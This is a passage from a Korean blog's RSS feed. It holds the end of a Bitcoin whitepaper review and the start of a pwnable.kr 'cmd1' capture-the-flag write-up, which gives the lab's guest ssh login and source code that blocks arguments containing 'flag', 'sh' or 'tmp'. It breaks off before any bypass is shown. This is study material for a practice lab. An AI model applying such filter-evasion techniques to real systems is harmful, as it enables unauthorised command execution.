/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Merkle Tree는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;상&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18.6667px; background-color: rgb(250, 244, 192);&quot;&gt;위 노&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;드가 자식 노드의 해시값으로 이루어져 chain 처럼 엮여 있기 때문에 거래 중 일부분만 변경되도 그것이 상위 노드에 영향을 주어 해시 값이 변경&lt;/span&gt;된다. 하지만 가지치키를 한다고, 해시 값이 달라지는 것은 아니기 때문에 Merkel Tree를 이용하면 보다 쉽게 디스크 공간을 save 할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;8. Simplified Payment Verification&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;간소화된 지불 검증을 위해, Full Node와 Light Node에 대해 알면 이해가 쉬울것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Full Node&lt;/span&gt;: 거래에 대한 모든 정보를 가진 노드이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Light Node&lt;/span&gt;: 블록 내 거래 정보가 없는 블록 헤더로만 구성된 노드이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지불에 대한 검증은, Full Node를 사용하지 않고 Light Node를 이용해도 검증할 수 있다. 사용자는 자신이 가장 긴 체인을 가지고 있다고 확신할 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;때 까지 네트워크 노드에 요청을 해 가장 긴 chain을 얻고 Merkle 가지를 얻는다. 혼자서 거래 입증을 할 수 없지만 현재 chain에 연결 함으로써 거래의 검증이 가능하다. 아래의 그림을 보고 이해를 돕자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E2F4475BF6666501&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E2F4475BF6666501&quot; width=&quot;1000&quot; height=&quot;462&quot; filename=&quot;이미지 023.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;어떻게 하면 Light node를 이용해 검증이 가능할까?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 우리가 거래 3에 대해 검증을 진행한다고 하면 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Light Node는 Full Node에게 필요한 정보를 요청&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;필요한 정보는 해시2, 해시 23, 해시01이 될 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;해시3 = hash(거래3)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;해시23 = hash(해시2, 해시3)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;머클 루트 해시 = hash(해시01, 해시23)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같은 작업을 통해 Light Node가 가지고 있는 Merkle Tree root 와 현재 계산된 root와 값이 같다면 거래가 변조되지 않았다고 생각가능하다. 즉, 우리는 매번 Full Node를 통한 검증이 아닌 Light Node를 통한 검증이 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 만일 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Network가 attacker에 의해 과반수 이상 과점되면, Light Node에 의한 검증은 신뢰될 수 없다.&lt;/span&gt; 왜냐면 Light Node가 Full Node에 정보를 요청하는데 잘못된 정보를 줄 수 있따. 따라서 네트워크 노드가 잘못된 블록을 발견했을 때 경계 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;신호를 보내거나 블록을 다운받아 거래의 불일치를 확인해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;9. Combining and Splitting Value&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;코인들을 각각 개별로 처리하는 방법도 있지만, 거래의 모든 단위마다 분리해서 처리해야하기 때문에 이 방법은 사용되지 않는다. 비트코인에서 사용하는 방법은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;다수의 input과 다수의 output&lt;/span&gt;으로 이루어진 거래로 진행된다. input은 이전의 큰 금액의 single input 혹은 이전의 많은 입금을 통한 multiple input이 될 수 있다. output은 상대방에가 보내는 single output과 차액을 다시 나에게 보내는 single output이 존재한다. 그림으로 나타내면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 757px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F9DE4C5BF669BE2D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F9DE4C5BF669BE2D&quot; width=&quot;757&quot; height=&quot;594&quot; filename=&quot;이미지 024.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위에서 언급했듯이 비트코인의 거래에 있어서 현재의 거래와 가장 다른점은 통장의 개념이 없다는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현재의 거래 시스템에서 제 3의 신뢰 기관을 통해서 거래가 진행되짐만&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; 비트코인 시스템에서는 이전에 받은 코인을 다른 사람에게 전달&lt;/span&gt;하는 것이다. input이 output보다 큰 경우 차이는 거래 수수료가 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;10. privacy&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;전통적인 은행 모델에서는 연관된 사람과 신뢰기관에 대한 정보 접근을 제한함으로써 privacy를 달성했다. 그러나 거래를 공개적으로 알려야하는 상황에서는 privacy를 달성할 수 없다. 따라서 제안한 방법은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;public key를 익명으로 사용&lt;/span&gt;하는 것이다. 그렇게 되면 거래는 공개적으로 보이지만, 누가 누구에게 보내는지는 알 수 없다. 다면 여러명이 한명에게 집중적으로 거래를 시도하면 소유자를 확인할 수 있는 단점이 존재해, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;거래마다 새로운 키 쌍(public key, private key)를 생성&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C1C34C5BF66D8F02&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C1C34C5BF66D8F02&quot; width=&quot;1000&quot; height=&quot;315&quot; filename=&quot;이미지 025.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;11. conclusion&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;satoshi Nakamoto 신뢰(trust) 기반이 아닌 새로운 거래 시스템을 제안했다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이중지불(double-spending) 문제를 해결하기 위해 peer to peer 기반 시스템을 도입했고, PoW 개념 또한 도입했다.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;satoshi Nakamoto의&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;블록체인 기술은 모든 node(사용자)들이 신뢰할 수 있다는것이 기반을 한다. block chain의 유일한 취약점은 &quot;51% 공격&quot;으로 대다수에 의해 과점된 시스템은 소수를 속일 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Paper review</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/230</guid>
      <comments>https://marcokhan.tistory.com/230#entry230comment</comments>
      <pubDate>Thu, 22 Nov 2018 18:11:01 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr] cmd1 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/229</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;pwnable.kr --- cmd1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh cmd1@pwnable.kr 2222 (pw:guest)&lt;/span&gt;로 접속하면 cmd1 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면&amp;nbsp;ssh cmd1@pwnable.kr -p2222와 같이 접속해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 759px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E33D445BEE463F20&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E33D445BEE463F20&quot; width=&quot;759&quot; height=&quot;104&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 원하는 파일은 flag이고 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;현재 id가 cmd1이기 때문에 flag를 볼 수 있는 권한이 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cmd1 파일은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;etgid가 cmd1_pwn의 권한&lt;/span&gt;으로 걸려있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;cmd1 elf&amp;nbsp;파일을 통해 cmd1_pwn의 권한으로 flag를 볼 수 있을것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cmd1.c를 가지고 cmd1 elf 파일을 만들었을 확률이 높으므로 cmd1.c를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 582px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BBA0345BEE4A2C29&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BBA0345BEE4A2C29&quot; width=&quot;582&quot; height=&quot;341&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;환경변수 PATH를 /thankyouverymuch로 설정한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;filter() 함수를 호출한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argv[],&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;envp)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;putenv(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;PATH=/thankyouverymuch&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(filter(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;filter() 함수로 들어온 인자 cmd에 &quot;flag&quot;, &quot;sh&quot;, &quot;tmp&quot; 문자가 들어있으면 0이 아닌값을 return 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;filter(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cmd){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;r&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;strstr(cmd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span 